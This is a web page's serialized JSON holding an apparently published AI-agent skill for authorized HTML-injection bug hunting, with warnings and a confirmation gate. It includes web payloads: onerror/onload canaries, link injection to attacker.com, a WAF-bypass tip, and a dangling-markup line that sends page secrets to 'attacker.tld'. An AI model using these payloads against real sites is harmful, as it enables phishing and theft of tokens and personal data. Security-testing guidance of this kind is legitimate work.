[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6F7FT3FVAZ81JS78AXSJYRA":3,"skill-same:01M6F7FT3FVAZ81JS78AXSJYRA":83},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":25,"publishedAt":50,"linkOnly":51,"markdownContent":52,"markdownBody":53,"frontMatter":54,"refName":40,"commitSha":63,"skillDirectory":64,"forksCount":65,"repositoryHtmlUrl":66,"repositoryHomepageUrl":6,"ownerHtmlUrl":67,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":68,"install":69,"resources":82},"01M6F7FT3FVAZ81JS78AXSJYRA","hunt-html-injection",null,"Hunt HTML Injection","boisenoise\u002Fskills-collections","boisenoise","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F193180?v=4","01M6CDBDQK6BDN55ZMA6B6PKBM","01M6CDBDVSJ3JPTBYN26FZ7TZK",12,"MIT","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-hunt-html-injection\u002FSKILL.md",[17,22],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000009","前端开发",[26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49],"hunt html injection","injection","html","hunt","community","2026","hackerone","blob","for","relevant","helper","scripts","scope","commands","main","testing","only","public","https","license","testing tools","research","security","github","2026-11-10 10:12:30",false,"---\nname: hunt-html-injection\ndescription: Hunt HTML Injection\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nsources: hackerone_public, public_research\nreport_count: 6\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## What is HTML Injection\n\nHTML Injection occurs when user input is inserted into a page's HTML without escaping, so injected tags are rendered by the browser as markup rather than displayed as literal text. Unlike XSS, the injected content does not require JavaScript execution — injecting `\u003Cb>`, `\u003Ch1>`, `\u003Ca>`, `\u003Cimg>`, or `\u003Cform>` tags is sufficient.\n\n**For an explicitly authorized XSS follow-up only, an active vector may carry a unique numeric canary** — e.g. `\">\u003Cimg src=x onerror=alert(91234)>` or `\u003Csvg onload=alert(91234)>`. A distinctive 4+ digit number (not `alert(1)`) distinguishes YOUR reflected injection from the example payloads practice pages embed in their own hint text. Raw reflection alone is not execution proof: verify the effective HTML context, browser parsing and actual behavior without collecting real credentials or secrets.\n\n**Impact:**\n- Phishing via injected `\u003Cform>` or `\u003Ca href=\"attacker.com\">` tags\n- UI defacement — `\u003Ch1>HACKED\u003C\u002Fh1>` renders visually on the page\n- Credential harvesting via injected login forms\n- Redirect via `\u003Cmeta http-equiv=\"refresh\">`\n- Stepping stone to XSS (may be blocked by WAF on `\u003Cscript>` but not `\u003Cimg onerror>`)\n- **Dangling-markup exfiltration** — even with `\u003Cscript>` and event handlers filtered, an *unterminated* tag can capture page content that follows it. Inject `\u003Cimg src='\u002F\u002Fattacker.tld\u002Flog?html=` (no closing quote\u002F`>`); the browser treats everything up to the next `'` as the URL, leaking any CSRF token, secret, or PII rendered after your injection point to your server. Works where full XSS is blocked but raw `\u003C` is reflected.\n- **Email\u002Fnotification-context injection** — a field reflected unescaped into a transactional email (signup confirmation, admin alert, support-chat transcript) renders injected `\u003Ca>`\u002F`\u003Cimg>`\u002Fdangling markup in the *recipient's* inbox — an audience the web UI can't reach, and often the only place HTML is rendered unfiltered. Inject into name\u002Fsubject\u002Fcomment, then read the raw email source. Disclosed class: \u003Chttps:\u002F\u002Fhackerone.com\u002Freports\u002F1935628>, \u003Chttps:\u002F\u002Fhackerone.com\u002Freports\u002F3556892>.\n\n## Attack Surface\n\nAny input that is reflected or stored and then displayed in an HTML context:\n- Search boxes (`?q=`)\n- Comments, feedback, reviews\n- Profile fields (name, bio, username)\n- Error messages (`?error=`, `?message=`)\n- Subject \u002F body of contact forms\n- Admin-visible fields (ticket titles, usernames in logs)\n\n## Autonomous Testing Priority\n\n**Inject a harmless recognisable HTML tag with a unique canary string only within the approved scope. Confirm it becomes attacker-controlled DOM markup, rather than literal text, inert code, JSON or intentional sanitized rich text.**\n\n**Pattern 1 — Basic HTML tag injection:**\n```\n\u003Cb>CANARY\u003C\u002Fb>\n\">\u003Cb>CANARY\u003C\u002Fb>\n```\nUse a unique string as CANARY (something distinct to this test run). **Proof:** the response contains `\u003Cb>CANARY` with literal `\u003C` angle brackets — not `<b>CANARY`. A properly encoded app would escape `\u003C` to `<`.\n\n**Try multiple tag types when `\u003Cb>` is filtered:**\n- `\u003Ch1>CANARY\u003C\u002Fh1>` — heading tag (often less filtered)\n- `\u003Cimg src=x onerror=CANARY>` — attribute context\n- `\u003Ca href=\"https:\u002F\u002Fattacker.com\">click\u003C\u002Fa>` — link injection (phishing proof)\n\n**For stored injection:** inject into the storage endpoint, then GET the page where the value is displayed and check for unescaped tags.\n\nDo not automatically escalate to script execution or email\u002Fsecret exfiltration. HTML formatting and XSS are different impact claims; use separately authorized harmless proof, test-only records and controlled recipients.\n\n## Proof\n\nConfirmed HTML injection requires browser\u002FDOM evidence that attacker input is parsed as disallowed markup in the actual content type and context, plus a demonstrated impact. Literal angle brackets alone do not establish a vulnerability. A safe app renders `<b>CANARY<\u002Fb>`; a vulnerable app renders `\u003Cb>CANARY\u003C\u002Fb>`.\n\n## Distinguishing HTML Injection from XSS\n\n- HTML injection: `\u003Cb>text\u003C\u002Fb>` renders as **text** in the browser — no JS execution needed.\n- XSS: `\u003Cscript>alert(1)\u003C\u002Fscript>` executes JavaScript.\n\nSome WAFs block `\u003Cscript>` but pass `\u003Cb>` or `\u003Cimg>` — start with non-script tags, then escalate.\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## What is HTML Injection\n\nHTML Injection occurs when user input is inserted into a page's HTML without escaping, so injected tags are rendered by the browser as markup rather than displayed as literal text. Unlike XSS, the injected content does not require JavaScript execution — injecting `\u003Cb>`, `\u003Ch1>`, `\u003Ca>`, `\u003Cimg>`, or `\u003Cform>` tags is sufficient.\n\n**For an explicitly authorized XSS follow-up only, an active vector may carry a unique numeric canary** — e.g. `\">\u003Cimg src=x onerror=alert(91234)>` or `\u003Csvg onload=alert(91234)>`. A distinctive 4+ digit number (not `alert(1)`) distinguishes YOUR reflected injection from the example payloads practice pages embed in their own hint text. Raw reflection alone is not execution proof: verify the effective HTML context, browser parsing and actual behavior without collecting real credentials or secrets.\n\n**Impact:**\n- Phishing via injected `\u003Cform>` or `\u003Ca href=\"attacker.com\">` tags\n- UI defacement — `\u003Ch1>HACKED\u003C\u002Fh1>` renders visually on the page\n- Credential harvesting via injected login forms\n- Redirect via `\u003Cmeta http-equiv=\"refresh\">`\n- Stepping stone to XSS (may be blocked by WAF on `\u003Cscript>` but not `\u003Cimg onerror>`)\n- **Dangling-markup exfiltration** — even with `\u003Cscript>` and event handlers filtered, an *unterminated* tag can capture page content that follows it. Inject `\u003Cimg src='\u002F\u002Fattacker.tld\u002Flog?html=` (no closing quote\u002F`>`); the browser treats everything up to the next `'` as the URL, leaking any CSRF token, secret, or PII rendered after your injection point to your server. Works where full XSS is blocked but raw `\u003C` is reflected.\n- **Email\u002Fnotification-context injection** — a field reflected unescaped into a transactional email (signup confirmation, admin alert, support-chat transcript) renders injected `\u003Ca>`\u002F`\u003Cimg>`\u002Fdangling markup in the *recipient's* inbox — an audience the web UI can't reach, and often the only place HTML is rendered unfiltered. Inject into name\u002Fsubject\u002Fcomment, then read the raw email source. Disclosed class: \u003Chttps:\u002F\u002Fhackerone.com\u002Freports\u002F1935628>, \u003Chttps:\u002F\u002Fhackerone.com\u002Freports\u002F3556892>.\n\n## Attack Surface\n\nAny input that is reflected or stored and then displayed in an HTML context:\n- Search boxes (`?q=`)\n- Comments, feedback, reviews\n- Profile fields (name, bio, username)\n- Error messages (`?error=`, `?message=`)\n- Subject \u002F body of contact forms\n- Admin-visible fields (ticket titles, usernames in logs)\n\n## Autonomous Testing Priority\n\n**Inject a harmless recognisable HTML tag with a unique canary string only within the approved scope. Confirm it becomes attacker-controlled DOM markup, rather than literal text, inert code, JSON or intentional sanitized rich text.**\n\n**Pattern 1 — Basic HTML tag injection:**\n```\n\u003Cb>CANARY\u003C\u002Fb>\n\">\u003Cb>CANARY\u003C\u002Fb>\n```\nUse a unique string as CANARY (something distinct to this test run). **Proof:** the response contains `\u003Cb>CANARY` with literal `\u003C` angle brackets — not `<b>CANARY`. A properly encoded app would escape `\u003C` to `<`.\n\n**Try multiple tag types when `\u003Cb>` is filtered:**\n- `\u003Ch1>CANARY\u003C\u002Fh1>` — heading tag (often less filtered)\n- `\u003Cimg src=x onerror=CANARY>` — attribute context\n- `\u003Ca href=\"https:\u002F\u002Fattacker.com\">click\u003C\u002Fa>` — link injection (phishing proof)\n\n**For stored injection:** inject into the storage endpoint, then GET the page where the value is displayed and check for unescaped tags.\n\nDo not automatically escalate to script execution or email\u002Fsecret exfiltration. HTML formatting and XSS are different impact claims; use separately authorized harmless proof, test-only records and controlled recipients.\n\n## Proof\n\nConfirmed HTML injection requires browser\u002FDOM evidence that attacker input is parsed as disallowed markup in the actual content type and context, plus a demonstrated impact. Literal angle brackets alone do not establish a vulnerability. A safe app renders `<b>CANARY<\u002Fb>`; a vulnerable app renders `\u003Cb>CANARY\u003C\u002Fb>`.\n\n## Distinguishing HTML Injection from XSS\n\n- HTML injection: `\u003Cb>text\u003C\u002Fb>` renders as **text** in the browser — no JS execution needed.\n- XSS: `\u003Cscript>alert(1)\u003C\u002Fscript>` executes JavaScript.\n\nSome WAFs block `\u003Cscript>` but pass `\u003Cb>` or `\u003Cimg>` — start with non-script tags, then escalate.\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":55,"source":56,"license":14,"sources":57,"category":48,"date_added":58,"description":7,"source_repo":59,"source_type":30,"report_count":60,"compatibility":61,"license_source":62},"offensive","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","hackerone_public, public_research","2026-09-20","elementalsouls\u002FClaude-BugHunter",6,"Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","7bf2279c8a65758319526a721d5c4b75683aec9c","skills\u002Fantigravity-hunt-html-injection",3,"https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections","https:\u002F\u002Fgithub.com\u002Fboisenoise","2026-11-11 14:20:43",{"source":8,"skillName":5,"commands":70,"prompt":80,"zipAvailable":81},[71,74,77],{"tool":72,"command":73},"npx","npx skills add boisenoise\u002Fskills-collections --skill hunt-html-injection",{"tool":75,"command":76},"bunx","bunx skills add boisenoise\u002Fskills-collections --skill hunt-html-injection",{"tool":78,"command":79},"pnpm","pnpm dlx skills add boisenoise\u002Fskills-collections --skill hunt-html-injection","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-hunt-html-injection\u002FSKILL.md",true,[],[84,112,135,159,177,199],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":88,"licenseFileUrl":89,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":50},"01M6WNH92BHVFXHGPDZCPJ0AG0","web-access","Use Treg for public web or platform data only when existing search, browser and connected tools cannot cover the task, with explicit cost and data boundaries.","Apache-2.0","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-web-access\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-web-access\u002FSKILL.md",[],[93,94,95,96,97,98,99,100,101,102,103,42,104,105,106,107,108,109,110,111,31],"web","access","web access","official","development","browser","search","data","Tools","read","fetch","youtube","free tools","platform","critical","free","cover","normal","when",{"skillNo":113,"name":114,"nameZh":6,"description":115,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":88,"licenseFileUrl":116,"sourceHtmlUrl":117,"categories":118,"keywords":122,"publishedAt":50},"01M6WNF9XAYAB2CZDDJBAKNM93","treg","Use the Treg CLI or MCP catalog to discover, price and call authorized external tools with team-scoped credentials and a user-approved budget.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-treg\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-treg\u002FSKILL.md",[119],{"categoryNo":120,"categoryName":121,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000023","Skill与智能体开发",[114,123,124,49,96,97,45,101,125,126,127,128,129,130,131,107,132,133,134,33,31],"MCP","cli","Budget","credentials","team","catalog","use","call","discover","external tools","with","scoped",{"skillNo":136,"name":137,"nameZh":6,"description":138,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":88,"licenseFileUrl":139,"sourceHtmlUrl":140,"categories":141,"keywords":147,"publishedAt":50},"01M6WN93MEAZ4E41DYAHJRPHQT","recruit","Turn a job description into an evidence-linked candidate shortlist through Treg, with job-related ranking and optional authorized business contact enrichment.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-recruit\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-recruit\u002FSKILL.md",[142],{"categoryNo":143,"categoryName":144,"taxonomyType":145,"taxonomyTypeDesc":146},"01JBSEEDCAT000000000000038","人力资源","PROFESSION","适用职业",[137,49,96,45,44,148,149,150,151,152,107,153,154,155,133,34,156,157,158,33,114,31],"email","enrichment","business","evidence","phone","ranking","post","job description","person","candidate","reason",{"skillNo":160,"name":161,"nameZh":6,"description":162,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":88,"licenseFileUrl":163,"sourceHtmlUrl":164,"categories":165,"keywords":166,"publishedAt":50},"01M6WN8R5RXSMHM9B4D9FAFX42","rea-growth","Analyze a company’s public growth and content through Treg, distinguish observations from hypotheses, and produce an evidence-linked playbook within an approved budget.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-rea-growth\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-rea-growth\u002FSKILL.md",[],[167,168,169,49,96,45,170,171,44,172,125,173,174,43,151,107,175,176,33,114,31],"growth","rea","rea growth","produce","content","playbook","marketing","analyze","observations","company",{"skillNo":178,"name":179,"nameZh":6,"description":180,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":88,"licenseFileUrl":181,"sourceHtmlUrl":182,"categories":183,"keywords":184,"publishedAt":50},"01M6WN2EVE3RQRGWAKBT4S7YT2","make-ugc","Create original AI UGC-style product videos through Treg: research hooks, approve a licensed presenter and voice, generate clips, add captions and report costs.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-make-ugc\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-make-ugc\u002FSKILL.md",[],[185,186,49,47,96,187,45,188,189,190,191,192,107,193,194,195,196,197,198,33],"make","make ugc","create","Video","Captions","ads","short","hooks","head","style","niche","trending","talking-head","approve",{"skillNo":200,"name":201,"nameZh":6,"description":202,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":88,"licenseFileUrl":203,"sourceHtmlUrl":204,"categories":205,"keywords":206,"publishedAt":50},"01M6WN10ARAA63Y8K1YNGXJ2RM","lead-signals","Find and qualify public buying signals through Treg, rank fitting business accounts and optionally enrich authorized business contact information.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-lead-signals\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-lead-signals\u002FSKILL.md",[],[207,208,209,49,96,45,210,211,150,212,213,107,214,215,216,217,218,219,220,33],"signals","lead","lead signals","how","find","ready","as","how to","qualify","people","information","enrich","changes","funding"]